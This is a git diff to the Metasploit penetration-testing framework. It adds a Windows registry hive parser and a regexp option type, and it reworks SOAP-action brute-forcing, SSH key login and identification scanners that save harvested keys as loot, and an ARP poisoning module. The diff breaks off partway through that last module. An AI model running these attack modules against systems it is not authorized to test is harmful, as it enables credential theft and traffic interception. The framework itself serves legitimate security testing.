diff --git a/README b/README index ba1136114b..51dcd18363 100644 --- a/README +++ b/README @@ -1,4 +1,4 @@ -Copyright (C) 2006-2011, Rapid7 LLC +Copyright (C) 2006-2012, Rapid7 LLC All rights reserved. Redistribution and use in source and binary forms, with or without modification, diff --git a/lib/msf/base/serializer/readable_text.rb b/lib/msf/base/serializer/readable_text.rb index ef7aeb71f9..402a553bfa 100644 --- a/lib/msf/base/serializer/readable_text.rb +++ b/lib/msf/base/serializer/readable_text.rb @@ -312,9 +312,9 @@ class ReadableText next if (opt.advanced?) next if (opt.evasion?) - val = mod.datastore[name] || opt.default.to_s + val_display = opt.display_value(mod.datastore[name] || opt.default) - tbl << [ name, val.to_s, opt.required? ? "yes" : "no", opt.desc ] + tbl << [ name, val_display, opt.required? ? "yes" : "no", opt.desc ] } return tbl.to_s diff --git a/lib/msf/core/auxiliary/auth_brute.rb b/lib/msf/core/auxiliary/auth_brute.rb index 1b792f92a2..d4cc364ecc 100644 --- a/lib/msf/core/auxiliary/auth_brute.rb +++ b/lib/msf/core/auxiliary/auth_brute.rb @@ -514,7 +514,7 @@ module Auxiliary::AuthBrute # name of the module, assuming the name is sensible like ssh_login or # smb_auth. def proto_from_fullname - File.split(self.fullname).last.match(/^(.*)_(login|auth)/)[1].upcase rescue nil + File.split(self.fullname).last.match(/^(.*)_(login|auth|identify)/)[1].upcase rescue nil end # Legacy vprint diff --git a/lib/msf/core/model/cred.rb b/lib/msf/core/model/cred.rb index 7308a90fea..72dd7691e3 100644 --- a/lib/msf/core/model/cred.rb +++ b/lib/msf/core/model/cred.rb @@ -42,9 +42,16 @@ class Cred < ActiveRecord::Base end def ssh_key_matches?(other_cred) - return false unless self.ptype == "ssh_key" - return false unless other_cred.ptype == self.ptype - matches = self.ssh_private_keys + return false unless other_cred.kind_of? self.class + return false unless self.ptype == other_cred.ptype + case self.ptype + when "ssh_key" + matches = self.ssh_private_keys + when "ssh_pubkey" + matches = self.ssh_public_keys + else + false + end matches.include?(self) and matches.include?(other_cred) end diff --git a/lib/msf/core/option_container.rb b/lib/msf/core/option_container.rb index a56a02c129..99d0aaab3e 100644 --- a/lib/msf/core/option_container.rb +++ b/lib/msf/core/option_container.rb @@ -81,6 +81,13 @@ class OptBase value end + # + # Returns a string representing a user-friendly display of the chosen value + # + def display_value(value) + value.to_s + end + # # The name of the option. # @@ -137,6 +144,7 @@ end # OptEnum - Select from a set of valid values # OptAddressRange - A subnet or range of addresses # OptSession - A session identifier +# OptRegexp - Valid Ruby regular expression # ### @@ -440,6 +448,44 @@ class OptInt < OptBase end end +### +# +# Regexp option +# +### +class OptRegexp < OptBase + def type + return 'regexp' + end + + def valid?(value) + unless super + return false + end + + begin + Regexp.compile(value) + + return true + rescue RegexpError => e + return false + end + end + + def normalize(value) + return Regexp.compile(value) + end + + def display_value(value) + if value.kind_of?(Regexp) + return value.source + elsif value.kind_of?(String) + return display_value(normalize(value)) + end + + return super + end +end ### # diff --git a/lib/rex/registry.rb b/lib/rex/registry.rb new file mode 100644 index 0000000000..cc67f232f8 --- /dev/null +++ b/lib/rex/registry.rb @@ -0,0 +1,13 @@ +require 'rex/registry/hive' +require 'rex/registry/regf' +require 'rex/registry/nodekey' +require 'rex/registry/lfkey' +require 'rex/registry/valuekey' +require 'rex/registry/valuelist' + +module Rex +module Registry + + attr_accessor :alias +end +end diff --git a/lib/rex/registry/hive.rb b/lib/rex/registry/hive.rb new file mode 100644 index 0000000000..c8420bac85 --- /dev/null +++ b/lib/rex/registry/hive.rb @@ -0,0 +1,110 @@ +require_relative "regf" +require_relative "nodekey" + +module Rex +module Registry + +class Hive + attr_accessor :root_key, :hive_regf + + def initialize(hivepath) + + hive_blob = open(hivepath, "rb") { |io| io.read } + @hive_regf = RegfBlock.new(hive_blob) + + @root_key = NodeKey.new(hive_blob, 0x1000 + @hive_regf.root_key_offset) + end + + def relative_query(path) + + if path == "" || path == "\\" + return @root_key + end + + current_child = nil + paths = path.split("\\") + + return if !@root_key.lf_record + + @root_key.lf_record.children.each do |child| + next if child.name.downcase != paths[1].downcase + + current_child = child + + if paths.length == 2 + current_child.full_path = path + return current_child + end + + 2.upto(paths.length) do |i| + + if i == paths.length + current_child.full_path = path + return current_child + else + if current_child.lf_record && current_child.lf_record.children + current_child.lf_record.children.each do |c| + next if c.name.downcase != paths[i].downcase + + current_child = c + + break + end + end + end + + end + end + + return if !current_child + + current_child.full_path = path + return current_child + end + + def value_query(path) + if path == "" || path == "\\" + return nil + end + + paths = path.split("\\") + + return if !@root_key.lf_record + + @root_key.lf_record.children.each do |root_child| + next if root_child.name.downcase != paths[1].downcase + + current_child = root_child + + if paths.length == 2 + return nil + end + + 2.upto(paths.length - 1) do |i| + next if !current_child.lf_record + + current_child.lf_record.children.each do |c| + next if c.name != paths[i] + current_child = c + + break + end + end + + if !current_child.value_list || current_child.value_list.values.length == 0 + return nil + end + + current_child.value_list.values.each do |value| + next if value.name.downcase != paths[paths.length - 1].downcase + + value.full_path = path + return value + end + end + end + +end + +end +end diff --git a/lib/rex/registry/lfkey.rb b/lib/rex/registry/lfkey.rb new file mode 100644 index 0000000000..ad7aa371d4 --- /dev/null +++ b/lib/rex/registry/lfkey.rb @@ -0,0 +1,50 @@ +require_relative "nodekey" + +module Rex +module Registry + +class LFBlock + + attr_accessor :number_of_keys, :hash_records, :children + + def initialize(hive_blob, offset) + offset = offset + 4 + lf_header = hive_blob[offset, 2] + + if lf_header !~ /lf/ && lf_header !~ /lh/ + return + end + + @number_of_keys = hive_blob[offset + 0x02, 2].unpack('C').first + + @hash_records = [] + @children = [] + + hash_offset = offset + 0x04 + + 1.upto(@number_of_keys) do |h| + + hash = LFHashRecord.new(hive_blob, hash_offset) + + @hash_records << hash + + hash_offset = hash_offset + 0x08 + + @children << NodeKey.new(hive_blob, hash.nodekey_offset + 0x1000) + end + end +end + +class LFHashRecord + + attr_accessor :nodekey_offset, :nodekey_name_verification + + def initialize(hive_blob, offset) + @nodekey_offset = hive_blob[offset, 4].unpack('l').first + @nodekey_name_verification = hive_blob[offset+0x04, 4].to_s + end + +end + +end +end diff --git a/lib/rex/registry/nodekey.rb b/lib/rex/registry/nodekey.rb new file mode 100644 index 0000000000..b5b99cf896 --- /dev/null +++ b/lib/rex/registry/nodekey.rb @@ -0,0 +1,53 @@ +require_relative "lfkey" +require_relative "valuelist" + +module Rex +module Registry + +class NodeKey + + attr_accessor :timestamp, :parent_offset, :subkeys_count, :lf_record_offset + attr_accessor :value_count, :value_list_offset, :security_key_offset + attr_accessor :class_name_offset, :name_length, :class_name_length, :full_path + attr_accessor :name, :lf_record, :value_list, :class_name_data, :readable_timestamp + + def initialize(hive, offset) + + offset = offset + 0x04 + + nk_header = hive[offset, 2] + nk_type = hive[offset+0x02, 2] + + if nk_header !~ /nk/ + return + end + + @timestamp = hive[offset+0x04, 8].unpack('q').first + @parent_offset = hive[offset+0x10, 4].unpack('l').first + @subkeys_count = hive[offset+0x14, 4].unpack('l').first + @lf_record_offset = hive[offset+0x1c, 4].unpack('l').first + @value_count = hive[offset+0x24, 4].unpack('l').first + @value_list_offset = hive[offset+0x28, 4].unpack('l').first + @security_key_offset = hive[offset+0x2c, 4].unpack('l').first + @class_name_offset = hive[offset+0x30, 4].unpack('l').first + @name_length = hive[offset+0x48, 2].unpack('c').first + @class_name_length = hive[offset+0x4a, 2].unpack('c').first + @name = hive[offset+0x4c, @name_length].to_s + + windows_time = @timestamp + unix_time = windows_time/10000000-11644473600 + ruby_time = Time.at(unix_time) + + @readable_timestamp = ruby_time + + @lf_record = LFBlock.new(hive, @lf_record_offset + 0x1000) if @lf_record_offset != -1 + @value_list = ValueList.new(hive, @value_list_offset + 0x1000, @value_count) if @value_list_offset != -1 + + @class_name_data = hive[@class_name_offset + 0x04 + 0x1000, @class_name_length] + + end + +end + +end +end diff --git a/lib/rex/registry/regf.rb b/lib/rex/registry/regf.rb new file mode 100644 index 0000000000..b135f5ec42 --- /dev/null +++ b/lib/rex/registry/regf.rb @@ -0,0 +1,26 @@ +module Rex +module Registry + +class RegfBlock + + attr_accessor :timestamp, :root_key_offset, :hive_name + + def initialize(hive) + + regf_header = hive[0x00, 4] + + if regf_header !~ /regf/ + puts "Not a registry hive" + + return + end + + @timestamp = hive[0x0C, 8].unpack('q').first + @root_key_offset = 0x20 + @hive_name = hive[0x30-1, 64].to_s.gsub("\x00", "") + + end +end + +end +end diff --git a/lib/rex/registry/valuekey.rb b/lib/rex/registry/valuekey.rb new file mode 100644 index 0000000000..1515388384 --- /dev/null +++ b/lib/rex/registry/valuekey.rb @@ -0,0 +1,66 @@ +module Rex +module Registry + +class ValueKey + + attr_accessor :name_length, :length_of_data, :data_offset, :full_path + attr_accessor :value_type, :readable_value_type, :name, :value + + def initialize(hive, offset) + offset = offset + 4 + + vk_header = hive[offset, 2] + + if vk_header !~ /vk/ + puts "no vk at offset #{offset}" + return + end + + @name_length = hive[offset+0x02, 2].unpack('c').first + @length_of_data = hive[offset+0x04, 4].unpack('l').first + @data_offset = hive[offset+ 0x08, 4].unpack('l').first + @value_type = hive[offset+0x0C, 4].unpack('c').first + + if @value_type == 1 + @readable_value_type = "Unicode character string" + elsif @value_type == 2 + @readable_value_type = "Unicode string with %VAR% expanding" + elsif @value_type == 3 + @readable_value_type = "Raw binary value" + elsif @value_type == 4 + @readable_value_type = "Dword" + elsif @value_type == 7 + @readable_value_type = "Multiple unicode strings separated with '\\x00'" + end + + flag = hive[offset+0x10, 2].unpack('c').first + + if flag == 0 + @name = "Default" + else + @name = hive[offset+0x14, @name_length].to_s + end + + @value = ValueKeyData.new(hive, @data_offset, @length_of_data, @value_type, offset) + end +end + +class ValueKeyData + + attr_accessor :data + + def initialize(hive, offset, length, datatype, parent_offset) + offset = offset + 4 + + #If the data-size is lower than 5, the data-offset value is used to store + #the data itself! + if length < 5 + @data = hive[parent_offset + 0x08, 4] + else + @data = hive[offset + 0x1000, length] + end + end +end + +end +end diff --git a/lib/rex/registry/valuelist.rb b/lib/rex/registry/valuelist.rb new file mode 100644 index 0000000000..6c3afd142f --- /dev/null +++ b/lib/rex/registry/valuelist.rb @@ -0,0 +1,28 @@ +require_relative "valuekey" + +module Rex +module Registry + +class ValueList + + attr_accessor :values + + def initialize(hive, offset, number_of_values) + offset = offset + 4 + inner_offset = 0 + + @values = [] + + 1.upto(number_of_values) do |v| + valuekey_offset = hive[offset + inner_offset, 4] + next if !valuekey_offset + + valuekey_offset = valuekey_offset.unpack('l').first + @values << ValueKey.new(hive, valuekey_offset + 0x1000) + inner_offset = inner_offset + 4 + end + end +end + +end +end diff --git a/modules/auxiliary/scanner/http/soap_xml.rb b/modules/auxiliary/scanner/http/soap_xml.rb index c4ec888e41..6d58164105 100644 --- a/modules/auxiliary/scanner/http/soap_xml.rb +++ b/modules/auxiliary/scanner/http/soap_xml.rb @@ -42,7 +42,9 @@ class Metasploit3 < Msf::Auxiliary OptString.new('XMLSCHEMA', [ true, "XML Schema", 'http://www.w3.org/2001/XMLSchema']), OptString.new('XMLSOAP', [ true, "XML SOAP", 'http://schemas.xmlsoap.org/soap/envelope/']), OptString.new('CONTENTTYPE', [ true, "The HTTP Content-Type Header", 'application/x-www-form-urlencoded']), + OptInt.new('SLEEP', [true, "Sleep this many seconds between requests", 0 ]), OptBool.new('DISPLAYHTML', [ true, "Display HTML response", false ]), + OptBool.new('SSL', [ true, "Use SSL", false ]), ], self.class) end @@ -53,6 +55,7 @@ class Metasploit3 < Msf::Auxiliary verbs = [ 'get', 'active', + 'activate', 'create', 'change', 'set', @@ -74,33 +77,49 @@ class Metasploit3 < Msf::Auxiliary 'register', 'log', 'add', + 'list', + 'query', #'delete', # Best to be safe! ] nouns = [ 'password', 'task', + 'tasks', 'pass', 'administration', 'account', + 'accounts', 'admin', 'login', + 'logins', 'token', - 'credentials', + 'tokens', 'credential', + 'credentials', 'key', + 'keys', 'guid', 'message', + 'messages', 'user', + 'users', 'username', + 'usernames', 'load', 'list', 'name', + 'names', 'file', + 'files', 'path', + 'paths', 'directory', + 'directories', 'configuration', + 'configurations', 'config', + 'configs', 'setting', 'settings', 'registry', @@ -111,79 +130,74 @@ class Metasploit3 < Msf::Auxiliary target_port = datastore['RPORT'] vhost = datastore['VHOST'] || wmap_target_host || ip + # regular expressions for common rejection messages + reject_regexen = [] + reject_regexen << Regexp.new("method \\S+ is not valid", true) + reject_regexen << Regexp.new("Method \\S+ not implemented", true) + reject_regexen << Regexp.new("unable to resolve WSDL method name", true) + begin - # Check service exists - res = send_request_raw({ - 'uri' => datastore['PATH'], - 'method' => 'GET', - 'vhost' => vhost, - }, 10) + verbs.each do |v| + nouns.each do |n| + data_parts = [] + data_parts << "" + data_parts << "" + data_parts << "" + data_parts << "<#{v}#{n} xmlns=\"#{datastore['XMLNAMESPACE']}\">" + data_parts << "" + data_parts << "" + data_parts << "" + data_parts << nil + data_parts << nil + data = data_parts.join("\r\n") - if (res.code == 200) - print_status("PATH appears to be OK.") + res = send_request_raw({ + 'uri' => datastore['PATH'] + '/' + v + n, + 'method' => 'POST', + 'vhost' => vhost, + 'data' => data, + 'headers' => + { + 'Content-Length' => data.length, + 'SOAPAction' => '"' + datastore['XMLNAMESPACE'] + v + n + '"', + 'Expect' => '100-continue', + 'Content-Type' => datastore['CONTENTTYPE'], + } + }, 15) - verbs.each do |v| - nouns.each do |n| - - # This could be cleaned up - patrickw - data = '' + "\r\n" - data << '' + "\r\n" - data << '' + "\r\n" - data << "<#{v}#{n}" + " xmlns=\"#{datastore['XMLNAMESPACE']}\">" + "\r\n" - data << "" + "\r\n" - data << '' + "\r\n" - data << '' + "\r\n\r\n" - - res = send_request_raw({ - 'uri' => datastore['PATH'] + '/' + v + n, - 'method' => 'POST', - 'vhost' => vhost, - 'data' => data, - 'headers' => - { - 'Content-Length' => data.length, - 'SOAPAction' => '"' + datastore['XMLNAMESPACE'] + v + n + '"', - 'Expect' => '100-continue', - 'Content-Type' => datastore['CONTENTTYPE'], - } - }, 15) - - if (res && !(res.body.empty?)) - if (res.body =~ /method name is not valid/) - print_status("Server rejected SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}.") - elsif (res.message =~ /Cannot process the message because the content type/) - print_status("Server rejected CONTENTTYPE: HTTP: #{res.code} #{res.message}.") - res.message =~ /was not the expected type\s\'([^']+)'/ - print_status("Set CONTENTTYPE to \"#{$1}\"") - return false - elsif (res.code == 404) - return false - else - print_status("Server responded to SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}.") - ## Add Report - report_note( - :host => ip, - :proto => 'tcp', - :sname => 'HTTP', - :port => rport, - :type => "SOAPAction: #{v}#{n}", - :data => "SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}." - ) - if datastore['DISPLAYHTML'] - print_status("The HTML content follows:") - print_status(res.body + "\r\n") - end - end - end - end - end - - else - print_status("Server did not respond with 200 OK.") - print_status(res.to_s) - end - rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout - rescue ::Timeout::Error, ::Errno::EPIPE + if (res && !(res.body.empty?)) + if ((not reject_regexen.select { |r| res.body =~ r }.empty?)) + print_status("Server rejected SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}.") + elsif (res.message =~ /Cannot process the message because the content type/) + print_status("Server rejected CONTENTTYPE: HTTP: #{res.code} #{res.message}.") + res.message =~ /was not the expected type\s\'([^']+)'/ + print_status("Set CONTENTTYPE to \"#{$1}\"") + return false + elsif (res.code == 404) + print_status("Server returned HTTP 404 for #{datastore['PATH']}. Use a different one.") + return false + else + print_status("Server responded to SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}.") + ## Add Report + report_note( + :host => ip, + :proto => 'tcp', + :sname => (ssl ? 'https' : 'http'), + :port => rport, + :type => "SOAPAction: #{v}#{n}", + :data => "SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}." + ) + if datastore['DISPLAYHTML'] + print_status("The HTML content follows:") + print_status(res.body + "\r\n") + end + end + end + select(nil, nil, nil, datastore['SLEEP']) if (datastore['SLEEP'] > 0) + end + end + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE => e + print_error(e) end end end diff --git a/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb b/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb index 38c8f0b423..2427d830b1 100644 --- a/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb +++ b/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb @@ -159,7 +159,6 @@ class Metasploit3 < Msf::Auxiliary if datastore['KEY_FILE'] and File.readable?(datastore['KEY_FILE']) keys = read_keyfile(datastore['KEY_FILE']) - @keyfile_path = datastore['KEY_FILE'].dup cleartext_keys = pull_cleartext_keys(keys) msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user." elsif datastore['SSH_KEYFILE_B64'] && !datastore['SSH_KEYFILE_B64'].empty? @@ -167,10 +166,9 @@ class Metasploit3 < Msf::Auxiliary cleartext_keys = pull_cleartext_keys(keys) msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user (read from datastore)." elsif datastore['KEY_DIR'] - @keyfile_path = datastore['KEY_DIR'].dup return :missing_keyfile unless(File.directory?(key_dir) && File.readable?(key_dir)) unless @key_files - @key_files = Dir.entries(key_dir).reject {|f| f =~ /^\x2e/ || f =~ /\x2epub$/} + @key_files = Dir.entries(key_dir).reject {|f| f =~ /^\x2e/} end these_keys = @key_files.map {|f| File.join(key_dir,f)} keys = read_keyfile(these_keys) @@ -214,14 +212,14 @@ class Metasploit3 < Msf::Auxiliary if datastore['SSH_BYPASS'] data = nil - print_status("#{ip}:#{rport} - SSH - User #{user} is being tested for authentication bypass...") + print_status("#{ip}:#{rport} SSH - User #{user} is being tested for authentication bypass...") begin ::Timeout.timeout(5) { data = ssh_socket.exec!("help\nid\nuname -a").to_s } rescue ::Exception end - print_good("#{ip}:#{rport} - SSH - User #{user} successfully bypassed authentication: #{data.inspect} ") if data + print_brute(:level => :good, :msg => "User #{user} successfully bypassed authentication: #{data.inspect} ") if data end ::Timeout.timeout(1) { ssh_socket.close } rescue nil @@ -237,14 +235,14 @@ class Metasploit3 < Msf::Auxiliary if accepted.length == 0 if @key_files - vprint_error "#{ip}:#{rport} - SSH - User #{user} does not accept key #{@key_files[key_idx+1]} #{key_info}" + print_brute :level => :verror, :msg => "User #{user} does not accept key #{@key_files[key_idx+1]} #{key_info}" else - vprint_error "#{ip}:#{rport} - SSH - User #{user} does not accept key #{key_idx+1} #{key_info}" + print_brute :level => :verror, :msg => "User #{user} does not accept key #{key_idx+1} #{key_info}" end end accepted.each do |key| - print_good "#{ip}:#{rport} SSH - Accepted: '#{user}' with key '#{key[:fingerprint]}' #{key_info}" + print_brute :level => :good, :msg => "Accepted: '#{user}' with key '#{key[:fingerprint]}' #{key_info}" do_report(ip, rport, user, key, key_data) end end @@ -252,58 +250,43 @@ class Metasploit3 < Msf::Auxiliary def do_report(ip, port, user, key, key_data) return unless framework.db.active - store_keyfile_b64_loot(ip,user,key[:fingerprint]) + keyfile_path = store_keyfile(ip,user,key[:fingerprint],key_data) cred_hash = { :host => ip, :port => rport, :sname => 'ssh', :user => user, - :pass => @keyfile_path, + :pass => keyfile_path, :source_type => "user_supplied", :type => 'ssh_pubkey', :proof => "KEY=#{key[:fingerprint]}", :duplicate_ok => true, - :active => true + :active => true } this_cred = report_auth_info(cred_hash) end - # Checks if any existing privkeys matches the named key's - # key id. If so, assign that other key's cred.id to this - # one's proof section, and vice-versa. - def cross_check_privkeys(key_id) - return unless framework.db.active - other_cred = nil - framework.db.creds.each do |cred| - next unless cred.ptype == "ssh_key" - next unless cred.proof =~ /#{key_id}/ - other_cred = cred - break - end - return other_cred + def existing_loot(ltype, key_id) + framework.db.loots(myworkspace).find_all_by_ltype(ltype).select {|l| l.info == key_id}.first end - # Sometimes all we have is a SSH_KEYFILE_B64 string. If it's - # good, then store it as loot for this user@host, unless we - # already have it in loot. - def store_keyfile_b64_loot(ip,user,key_id) - return unless db - return if @keyfile_path - return if datastore["SSH_KEYFILE_B64"].to_s.empty? - keyfile = datastore["SSH_KEYFILE_B64"].unpack("m*").first - keyfile = keyfile.strip + "\n" - ktype_match = keyfile.match(/ssh-(rsa|dss)/) - return unless ktype_match - ktype = ktype_match[1].downcase - ktype = "dsa" if ktype == "dss" # Seems sensible to recast it + def store_keyfile(ip,user,key_id,key_data) + safe_username = user.gsub(/[^A-Za-z0-9]/,"_") + ktype = key_data.match(/ssh-(rsa|dss)/)[1] rescue nil + return unless ktype + ktype = "dsa" if ktype == "dss" ltype = "host.unix.ssh.#{user}_#{ktype}_public" - # Assignment and comparison here, watch out! - if loot = Msf::DBManager::Loot.find_by_ltype_and_workspace_id(ltype,myworkspace.id) - if loot.info.include? key_id - @keyfile_path = loot.path - end - end - @keyfile_path ||= store_loot(ltype, "application/octet-stream", ip, keyfile.strip, nil, key_id) + keyfile = existing_loot(ltype, key_id) + return keyfile.path if keyfile + keyfile_path = store_loot( + ltype, + "application/octet-stream", # Text, but always want to mime-type attach it + ip, + (key_data + "\n"), + "#{safe_username}_#{ktype}.pub", + key_id + ) + return keyfile_path end def run_host(ip) @@ -314,17 +297,17 @@ class Metasploit3 < Msf::Auxiliary ret, proof = do_login(ip, rport, user) case ret when :connection_error - vprint_error "#{ip}:#{rport} - SSH - Could not connect" + vprint_error "#{ip}:#{rport} SSH - Could not connect" :abort when :connection_disconnect - vprint_error "#{ip}:#{rport} - SSH - Connection timed out" + vprint_error "#{ip}:#{rport} SSH - Connection timed out" :abort when :fail - vprint_error "#{ip}:#{rport} - SSH - Failed: '#{user}'" + vprint_error "#{ip}:#{rport} SSH - Failed: '#{user}'" when :missing_keyfile - vprint_error "#{ip}:#{rport} - SSH - Cannot read keyfile" + vprint_error "#{ip}:#{rport} SSH - Cannot read keyfile" when :no_valid_keys - vprint_error "#{ip}:#{rport} - SSH - No readable keys in keyfile" + vprint_error "#{ip}:#{rport} SSH - No readable keys in keyfile" end end end diff --git a/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb b/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb index a609e98301..6ab108773b 100644 --- a/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb +++ b/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb @@ -19,7 +19,7 @@ class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::CommandShell - attr_accessor :ssh_socket, :good_credentials, :good_key + attr_accessor :ssh_socket, :good_credentials, :good_key, :good_key_data def initialize super( @@ -147,7 +147,6 @@ class Metasploit3 < Msf::Auxiliary def do_login(ip,user,port) if datastore['KEY_FILE'] and File.readable?(datastore['KEY_FILE']) keys = read_keyfile(datastore['KEY_FILE']) - @keyfile_path = datastore['KEY_FILE'].dup cleartext_keys = pull_cleartext_keys(keys) msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user." elsif datastore['SSH_KEYFILE_B64'] && !datastore['SSH_KEYFILE_B64'].empty? @@ -155,7 +154,6 @@ class Metasploit3 < Msf::Auxiliary cleartext_keys = pull_cleartext_keys(keys) msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user (read from datastore)." elsif datastore['KEY_DIR'] - @keyfile_path = datastore['KEY_DIR'].dup return :missing_keyfile unless(File.directory?(key_dir) && File.readable?(key_dir)) unless @key_files @key_files = Dir.entries(key_dir).reject {|f| f =~ /^\x2e/ || f =~ /\x2epub$/} @@ -195,9 +193,9 @@ class Metasploit3 < Msf::Auxiliary rescue Net::SSH::AuthenticationFailed # Try, try, again if @key_files - vprint_error "#{ip}:#{rport} - SSH - Failed authentication, trying key #{@key_files[key_idx+1]}" + vprint_error "#{ip}:#{rport} SSH - Failed authentication, trying key #{@key_files[key_idx+1]}" else - vprint_error "#{ip}:#{rport} - SSH - Failed authentication, trying key #{key_idx+1}" + vprint_error "#{ip}:#{rport} SSH - Failed authentication, trying key #{key_idx+1}" end next rescue Net::SSH::Exception => e @@ -208,6 +206,7 @@ class Metasploit3 < Msf::Auxiliary if self.ssh_socket self.good_key = self.ssh_socket.auth_info[:pubkey_id] + self.good_key_data = self.ssh_socket.options[:key_data] proof = '' begin Timeout.timeout(5) do @@ -247,42 +246,50 @@ class Metasploit3 < Msf::Auxiliary end end - def do_report(ip,user,port,proof) + def do_report(ip, port, user, proof) return unless framework.db.active - store_keyfile_b64_loot(ip,user,self.good_key) + keyfile_path = store_keyfile(ip,user,self.good_key,self.good_key_data) cred_hash = { :host => ip, :port => datastore['RPORT'], :sname => 'ssh', :user => user, - :pass => @keyfile_path, + :pass => keyfile_path, :type => "ssh_key", :proof => "KEY=#{self.good_key}, PROOF=#{proof}", - :active => true + :duplicate_ok => true, + :active => true } this_cred = report_auth_info(cred_hash) end - # Sometimes all we have is a SSH_KEYFILE_B64 string. If it's - # good, then store it as loot for this user@host, unless we - # already have it in loot. - def store_keyfile_b64_loot(ip,user,key_id) - return unless db - return if @keyfile_path - return if datastore["SSH_KEYFILE_B64"].to_s.empty? - keyfile = datastore["SSH_KEYFILE_B64"].unpack("m*").first - keyfile = keyfile.strip + "\n" - ktype_match = keyfile.match(/--BEGIN ([DR]SA) PRIVATE/) - return unless ktype_match - ktype = ktype_match[1].downcase - ltype = "host.unix.ssh.#{user}_#{ktype}_private" - # Assignment and comparison here, watch out! - if loot = Msf::DBManager::Loot.find_by_ltype_and_workspace_id(ltype,myworkspace.id) - if loot.info.include? key_id - @keyfile_path = loot.path - end + def existing_loot(ltype, key_id) + framework.db.loots(myworkspace).find_all_by_ltype(ltype).select {|l| l.info == key_id}.first + end + + def store_keyfile(ip,user,key_id,key_data) + safe_username = user.gsub(/[^A-Za-z0-9]/,"_") + case key_data + when /BEGIN RSA PRIVATE/m + ktype = "rsa" + when /BEGIN DSA PRIVATE/m + ktype = "dsa" + else + ktype = nil end - @keyfile_path ||= store_loot(ltype, "application/octet-stream", ip, keyfile.strip, nil, key_id) + return unless ktype + ltype = "host.unix.ssh.#{user}_#{ktype}_private" + keyfile = existing_loot(ltype, key_id) + return keyfile.path if keyfile + keyfile_path = store_loot( + ltype, + "application/octet-stream", # Text, but always want to mime-type attach it + ip, + (key_data + "\n"), + "#{safe_username}_#{ktype}.key", + key_id + ) + return keyfile_path end def run_host(ip) @@ -294,21 +301,21 @@ class Metasploit3 < Msf::Auxiliary ret,proof = do_login(ip,user,rport) case ret when :success - print_good "#{ip}:#{rport} SSH - Success: '#{user}':'#{self.good_key}' '#{proof.to_s.gsub(/[\r\n\e\b\a]/, ' ')}'" - do_report(ip,user,rport,proof) + print_brute :level => :good, :msg => "Success: '#{user}':'#{self.good_key}' '#{proof.to_s.gsub(/[\r\n\e\b\a]/, ' ')}'" + do_report(ip, rport, user, proof) :next_user when :connection_error - vprint_error "#{ip}:#{rport} - SSH - Could not connect" + vprint_error "#{ip}:#{rport} SSH - Could not connect" :abort when :connection_disconnect - vprint_error "#{ip}:#{rport} - SSH - Connection timed out" + vprint_error "#{ip}:#{rport} SSH - Connection timed out" :abort when :fail - vprint_error "#{ip}:#{rport} - SSH - Failed: '#{user}'" + vprint_error "#{ip}:#{rport} SSH - Failed: '#{user}'" when :missing_keyfile - vprint_error "#{ip}:#{rport} - SSH - Cannot read keyfile." + vprint_error "#{ip}:#{rport} SSH - Cannot read keyfile." when :no_valid_keys - vprint_error "#{ip}:#{rport} - SSH - No cleartext keys in keyfile." + vprint_error "#{ip}:#{rport} SSH - No cleartext keys in keyfile." end end end diff --git a/modules/auxiliary/spoof/arp/arp_poisoning.rb b/modules/auxiliary/spoof/arp/arp_poisoning.rb index ba3a24e9a0..2fb788900c 100644 --- a/modules/auxiliary/spoof/arp/arp_poisoning.rb +++ b/modules/auxiliary/spoof/arp/arp_poisoning.rb @@ -83,20 +83,20 @@ class Metasploit3 < Msf::Auxiliary @interface = get_interface_guid(@interface) @smac = datastore['SMAC'] @smac ||= get_mac(@interface) if @netifaces - raise RuntimeError ,'Source Mac should be defined' unless @smac - raise RuntimeError ,'Source Mac is not in correct format' unless is_mac?(@smac) + raise RuntimeError ,'SMAC is not defined and can not be guessed' unless @smac + raise RuntimeError ,'Source MAC is not in correct format' unless is_mac?(@smac) @sip = datastore['LOCALSIP'] @sip ||= Pcap.lookupaddrs(@interface)[0] if @netifaces - raise "LOCALIP is not defined and can not be guessed" unless @sip - raise "LOCALIP is not an ipv4 address" unless is_ipv4? @sip + raise "LOCALSIP is not defined and can not be guessed" unless @sip + raise "LOCALSIP is not an ipv4 address" unless Rex::Socket.is_ipv4?(@sip) shosts_range = Rex::Socket::RangeWalker.new(datastore['SHOSTS']) @shosts = [] if datastore['BIDIRECTIONAL'] - shosts_range.each{|shost| if is_ipv4? shost and shost != @sip then @shosts.push shost end} + shosts_range.each{|shost| if Rex::Socket.is_ipv4?(shost) and shost != @sip then @shosts.push shost end} else - shosts_range.each{|shost| if is_ipv4? shost then @shosts.push shost end} + shosts_range.each{|shost| if Rex::Socket.is_ipv4?(shost) then @shosts.push shost end} end if datastore['BROADCAST'] @@ -178,7 +178,7 @@ class Metasploit3 < Msf::Auxiliary dhosts_range = Rex::Socket::RangeWalker.new(datastore['DHOSTS']) @dhosts = [] - dhosts_range.each{|dhost| if is_ipv4? dhost and dhost != @sip then 